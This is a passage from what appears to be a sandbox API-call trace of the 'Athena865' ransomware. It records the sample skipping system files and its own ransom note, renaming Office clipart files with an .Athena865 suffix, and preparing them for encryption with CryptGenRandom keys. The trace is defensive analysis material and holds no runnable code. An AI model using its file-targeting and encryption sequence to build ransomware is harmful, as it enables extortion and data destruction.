(lpString1="WMF", lpString2="adn") returned 1 [0122.176] lstrlenW (lpString="adp") returned 3 [0122.176] lstrcmpiW (lpString1="WMF", lpString2="adp") returned 1 [0122.176] lstrlenW (lpString="alf") returned 3 [0122.176] lstrcmpiW (lpString1="WMF", lpString2="alf") returned 1 [0122.176] lstrlenW (lpString="ask") returned 3 [0122.176] lstrcmpiW (lpString1="WMF", lpString2="ask") returned 1 [0122.176] lstrlenW (lpString="btr") returned 3 [0122.176] lstrcmpiW (lpString1="WMF", lpString2="btr") returned 1 [0122.176] lstrlenW (lpString="cat") returned 3 [0122.176] lstrcmpiW (lpString1="WMF", lpString2="cat") returned 1 [0122.176] lstrlenW (lpString="cdb") returned 3 [0122.176] lstrcmpiW (lpString1="WMF", lpString2="cdb") returned 1 [0122.176] lstrlenW (lpString="ckp") returned 3 [0122.176] lstrcmpiW (lpString1="WMF", lpString2="ckp") returned 1 [0122.176] lstrlenW (lpString="cma") returned 3 [0122.177] lstrcmpiW (lpString1="WMF", lpString2="cma") returned 1 [0122.177] lstrlenW (lpString="cpd") returned 3 [0122.177] lstrcmpiW (lpString1="WMF", lpString2="cpd") returned 1 [0122.177] lstrlenW (lpString="dacpac") returned 6 [0122.177] lstrcmpiW (lpString1="7_.WMF", lpString2="dacpac") returned -1 [0122.177] lstrlenW (lpString="dad") returned 3 [0122.177] lstrcmpiW (lpString1="WMF", lpString2="dad") returned 1 [0122.177] lstrlenW (lpString="dadiagrams") returned 10 [0122.177] lstrcmpiW (lpString1="00267_.WMF", lpString2="dadiagrams") returned -1 [0122.177] lstrlenW (lpString="daschema") returned 8 [0122.177] lstrcmpiW (lpString1="267_.WMF", lpString2="daschema") returned -1 [0122.177] lstrlenW (lpString="db-journal") returned 10 [0122.177] lstrcmpiW (lpString1="00267_.WMF", lpString2="db-journal") returned -1 [0122.177] lstrlenW (lpString="db-shm") returned 6 [0122.177] lstrcmpiW (lpString1="7_.WMF", lpString2="db-shm") returned -1 [0122.177] lstrlenW (lpString="db-wal") returned 6 [0122.177] lstrcmpiW (lpString1="7_.WMF", lpString2="db-wal") returned -1 [0122.177] lstrlenW (lpString="dbc") returned 3 [0122.177] lstrcmpiW (lpString1="WMF", lpString2="dbc") returned 1 [0122.177] lstrlenW (lpString="dbs") returned 3 [0122.177] lstrcmpiW (lpString1="WMF", lpString2="dbs") returned 1 [0122.177] lstrlenW (lpString="dbt") returned 3 [0122.177] lstrcmpiW (lpString1="WMF", lpString2="dbt") returned 1 [0122.177] lstrlenW (lpString="dbv") returned 3 [0122.177] lstrcmpiW (lpString1="WMF", lpString2="dbv") returned 1 [0122.177] lstrlenW (lpString="dbx") returned 3 [0122.177] lstrcmpiW (lpString1="WMF", lpString2="dbx") returned 1 [0122.177] lstrlenW (lpString="dcb") returned 3 [0122.177] lstrcmpiW (lpString1="WMF", lpString2="dcb") returned 1 [0122.178] lstrcmpiW (lpString1="WMF", lpString2="dct") returned 1 [0122.178] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00267_.WMF.Athena865") returned 73 [0122.178] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00267_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00267_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00267_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00267_.wmf.athena865"), dwFlags=0x1) returned 1 [0122.179] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00267_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00267_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0122.179] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=2644) returned 1 [0122.179] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0122.179] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540d48 [0122.179] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ec38 [0122.179] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0122.180] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0122.180] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0122.180] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xd60, lpName=0x0) returned 0x154 [0122.182] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xd60) returned 0x100000 [0122.183] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0122.183] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0122.183] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0122.183] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540dc0 [0122.184] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540dc0 | out: hHeap=0x4f0000) returned 1 [0122.184] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552940 [0122.184] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0122.184] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552940 | out: hHeap=0x4f0000) returned 1 [0122.184] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0122.184] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x552940 [0122.184] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0122.184] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552940 | out: hHeap=0x4f0000) returned 1 [0122.184] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0122.184] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0122.184] CloseHandle (hObject=0x154) returned 1 [0122.184] CloseHandle (hObject=0x17c) returned 1 [0122.184] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540d48 | out: hHeap=0x4f0000) returned 1 [0122.184] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ec38 | out: hHeap=0x4f0000) returned 1 [0122.184] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0122.185] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbde25400, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x519ef6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbde25400, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0x1498, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="BL00269_.WMF", cAlternateFileName="")) returned 1 [0122.185] lstrcmpiW (lpString1="BL00269_.WMF", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0122.185] lstrcmpiW (lpString1="BL00269_.WMF", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0122.185] lstrcmpiW (lpString1="BL00269_.WMF", lpString2=".") returned 1 [0122.185] lstrcmpiW (lpString1="BL00269_.WMF", lpString2="..") returned 1 [0122.185] lstrcmpiW (lpString1="BL00269_.WMF", lpString2="windows") returned -1 [0122.185] lstrcmpiW (lpString1="BL00269_.WMF", lpString2="bootmgr") returned -1 [0122.185] lstrcmpiW (lpString1="BL00269_.WMF", lpString2="temp") returned -1 [0122.185] lstrcmpiW (lpString1="BL00269_.WMF", lpString2="pagefile.sys") returned -1 [0122.185] lstrcmpiW (lpString1="BL00269_.WMF", lpString2="boot") returned -1 [0122.185] lstrcmpiW (lpString1="BL00269_.WMF", lpString2="ids.txt") returned -1 [0122.185] lstrcmpiW (lpString1="BL00269_.WMF", lpString2="ntuser.dat") returned -1 [0122.185] lstrcmpiW (lpString1="BL00269_.WMF", lpString2="perflogs") returned -1 [0122.185] lstrcmpiW (lpString1="BL00269_.WMF", lpString2="MSBuild") returned -1 [0122.185] lstrlenW (lpString="BL00269_.WMF") returned 12 [0122.185] lstrcpyW (in: lpString1=0x241e8ae, lpString2="BL00269_.WMF" | out: lpString1="BL00269_.WMF") returned="BL00269_.WMF" [0122.185] lstrlenW (lpString="BL00269_.WMF") returned 12 [0122.185] lstrlenW (lpString="Athena865") returned 9 [0122.185] lstrcmpiW (lpString1="0269_.WMF", lpString2="Athena865") returned -1 [0122.185] lstrlenW (lpString=".dll") returned 4 [0122.185] lstrcmpiW (lpString1="BL00269_.WMF", lpString2=".dll") returned 1 [0122.185] lstrlenW (lpString=".lnk") returned 4 [0122.185] lstrcmpiW (lpString1="BL00269_.WMF", lpString2=".lnk") returned 1 [0122.185] lstrlenW (lpString=".ini") returned 4 [0122.185] lstrcmpiW (lpString1="BL00269_.WMF", lpString2=".ini") returned 1 [0122.185] lstrlenW (lpString=".sys") returned 4 [0122.185] lstrcmpiW (lpString1="BL00269_.WMF", lpString2=".sys") returned 1 [0122.186] lstrlenW (lpString="BL00269_.WMF") returned 12 [0122.186] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00269_.WMF.Athena865") returned 73 [0122.186] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00269_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00269_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00269_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00269_.wmf.athena865"), dwFlags=0x1) returned 1 [0122.190] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00269_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00269_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0122.191] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=5272) returned 1 [0122.191] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0122.192] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540d48 [0122.192] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ec38 [0122.192] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0122.192] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0122.192] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0122.197] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0122.197] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0122.197] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0122.197] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540dc0 [0122.197] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540dc0 | out: hHeap=0x4f0000) returned 1 [0122.197] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552940 [0122.198] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0122.198] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552940 | out: hHeap=0x4f0000) returned 1 [0122.198] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0122.198] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x552940 [0122.198] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0122.198] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552940 | out: hHeap=0x4f0000) returned 1 [0122.198] lstrcpyW (in: lpString1=0x241e8ae, lpString2="BL00270_.WMF" | out: lpString1="BL00270_.WMF") returned="BL00270_.WMF" [0122.198] lstrlenW (lpString="BL00270_.WMF") returned 12 [0122.198] lstrlenW (lpString="Athena865") returned 9 [0122.198] lstrcmpiW (lpString1="0270_.WMF", lpString2="Athena865") returned -1 [0122.199] lstrlenW (lpString=".dll") returned 4 [0122.199] lstrcmpiW (lpString1="BL00270_.WMF", lpString2=".dll") returned 1 [0122.199] lstrlenW (lpString=".lnk") returned 4 [0122.199] lstrcmpiW (lpString1="BL00270_.WMF", lpString2=".lnk") returned 1 [0122.199] lstrlenW (lpString=".ini") returned 4 [0122.199] lstrcmpiW (lpString1="BL00270_.WMF", lpString2=".ini") returned 1 [0122.199] lstrlenW (lpString=".sys") returned 4 [0122.199] lstrcmpiW (lpString1="BL00270_.WMF", lpString2=".sys") returned 1 [0122.199] lstrlenW (lpString="BL00270_.WMF") returned 12 [0122.199] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00270_.WMF.Athena865") returned 73 [0122.199] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00270_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00270_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00270_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00270_.wmf.athena865"), dwFlags=0x1) returned 1 [0122.200] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00270_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00270_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0122.201] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=3016) returned 1 [0122.201] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0122.201] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540d48 [0122.201] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ec38 [0122.201] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0122.201] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0122.201] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0122.204] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0122.204] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0122.204] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0122.205] lstrcpyW (in: lpString1=0x241e8ae, lpString2="BL00273_.WMF" | out: lpString1="BL00273_.WMF") returned="BL00273_.WMF" [0122.205] lstrlenW (lpString="BL00273_.WMF") returned 12 [0122.205] lstrlenW (lpString="Athena865") returned 9 [0122.205] lstrcmpiW (lpString1="0273_.WMF", lpString2="Athena865") returned -1 [0122.205] lstrlenW (lpString=".dll") returned 4 [0122.205] lstrcmpiW (lpString1="BL00273_.WMF", lpString2=".dll") returned 1 [0122.205] lstrlenW (lpString=".lnk") returned 4 [0122.205] lstrcmpiW (lpString1="BL00273_.WMF", lpString2=".lnk") returned 1 [0122.205] lstrlenW (lpString=".ini") returned 4 [0122.205] lstrcmpiW (lpString1="BL00273_.WMF", lpString2=".ini") returned 1 [0122.205] lstrlenW (lpString=".sys") returned 4 [0122.205] lstrcmpiW (lpString1="BL00273_.WMF", lpString2=".sys") returned 1 [0122.205] lstrlenW (lpString="BL00273_.WMF") returned 12 [0122.205] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00273_.WMF.Athena865") returned 73 [0122.205] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00273_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00273_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00273_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00273_.wmf.athena865"), dwFlags=0x1) returned 1 [0122.206] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00273_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00273_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0122.206] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=3780) returned 1 [0122.206] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0122.206] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540d48 [0122.207] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ec38 [0122.207] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0122.207] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0122.207] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0122.210] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0122.210] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0122.211] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0122.211] lstrcpyW (in: lpString1=0x241e8ae, lpString2="BL00274_.WMF" | out: lpString1="BL00274_.WMF") returned="BL00274_.WMF" [0122.211] lstrlenW (lpString="BL00274_.WMF") returned 12 [0122.211] lstrlenW (lpString="Athena865") returned 9 [0122.211] lstrcmpiW (lpString1="0274_.WMF", lpString2="Athena865") returned -1 [0122.211] lstrlenW (lpString=".dll") returned 4 [0122.211] lstrcmpiW (lpString1="BL00274_.WMF", lpString2=".dll") returned 1 [0122.211] lstrlenW (lpString=".lnk") returned 4 [0122.211] lstrcmpiW (lpString1="BL00274_.WMF", lpString2=".lnk") returned 1 [0122.211] lstrlenW (lpString=".ini") returned 4 [0122.211] lstrcmpiW (lpString1="BL00274_.WMF", lpString2=".ini") returned 1 [0122.211] lstrlenW (lpString=".sys") returned 4 [0122.211] lstrcmpiW (lpString1="BL00274_.WMF", lpString2=".sys") returned 1 [0122.211] lstrlenW (lpString="BL00274_.WMF") returned 12 [0122.211] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00274_.WMF.Athena865") returned 73 [0122.211] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00274_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00274_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00274_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00274_.wmf.athena865"), dwFlags=0x1) returned 1 [0122.213] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00274_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00274_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0122.213] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=4164) returned 1 [0122.213] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0122.213] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540d48 [0122.213] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ec38 [0122.213] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0122.214] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0122.214] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0122.216] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0122.216] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0122.216] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0122.217] lstrcpyW (in: lpString1=0x241e8ae, lpString2="BL00296_.WMF" | out: lpString1="BL00296_.WMF") returned="BL00296_.WMF" [0122.217] lstrlenW (lpString="BL00296_.WMF") returned 12 [0122.217] lstrlenW (lpString="Athena865") returned 9 [0122.217] lstrcmpiW (lpString1="0296_.WMF", lpString2="Athena865") returned -1 [0122.217] lstrlenW (lpString=".dll") returned 4 [0122.217] lstrcmpiW (lpString1="BL00296_.WMF", lpString2=".dll") returned 1 [0122.217] lstrlenW (lpString=".lnk") returned 4 [0122.217] lstrcmpiW (lpString1="BL00296_.WMF", lpString2=".lnk") returned 1 [0122.217] lstrlenW (lpString=".ini") returned 4 [0122.217] lstrcmpiW (lpString1="BL00296_.WMF", lpString2=".ini") returned 1 [0122.217] lstrlenW (lpString=".sys") returned 4 [0122.217] lstrcmpiW (lpString1="BL00296_.WMF", lpString2=".sys") returned 1 [0122.217] lstrlenW (lpString="BL00296_.WMF") returned 12 [0122.217] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00296_.WMF.Athena865") returned 73 [0122.217] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00296_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00296_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00296_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00296_.wmf.athena865"), dwFlags=0x1) returned 1 [0122.218] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00296_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00296_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0122.218] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=812) returned 1 [0122.218] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0122.218] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540d48 [0122.219] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ec38 [0122.219] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0122.219] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0122.219] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0122.221] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0122.222] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0122.222] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0122.222] lstrcpyW (in: lpString1=0x241e8ae, lpString2="BL00390_.WMF" | out: lpString1="BL00390_.WMF") returned="BL00390_.WMF" [0122.222] lstrlenW (lpString="BL00390_.WMF") returned 12 [0122.222] lstrlenW (lpString="Athena865") returned 9 [0122.222] lstrcmpiW (lpString1="0390_.WMF", lpString2="Athena865") returned -1 [0122.222] lstrlenW (lpString=".dll") returned 4 [0122.222] lstrcmpiW (lpString1="BL00390_.WMF", lpString2=".dll") returned 1 [0122.223] lstrlenW (lpString=".lnk") returned 4 [0122.223] lstrcmpiW (lpString1="BL00390_.WMF", lpString2=".lnk") returned 1 [0122.223] lstrlenW (lpString=".ini") returned 4 [0122.223] lstrcmpiW (lpString1="BL00390_.WMF", lpString2=".ini") returned 1 [0122.223] lstrlenW (lpString=".sys") returned 4 [0122.223] lstrcmpiW (lpString1="BL00390_.WMF", lpString2=".sys") returned 1 [0122.223] lstrlenW (lpString="BL00390_.WMF") returned 12 [0122.223] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00390_.WMF.Athena865") returned 73 [0122.223] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00390_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00390_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00390_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00390_.wmf.athena865"), dwFlags=0x1) returned 1 [0122.224] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00390_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00390_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0122.224] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=13102) returned 1 [0122.224] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0122.225] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540d48 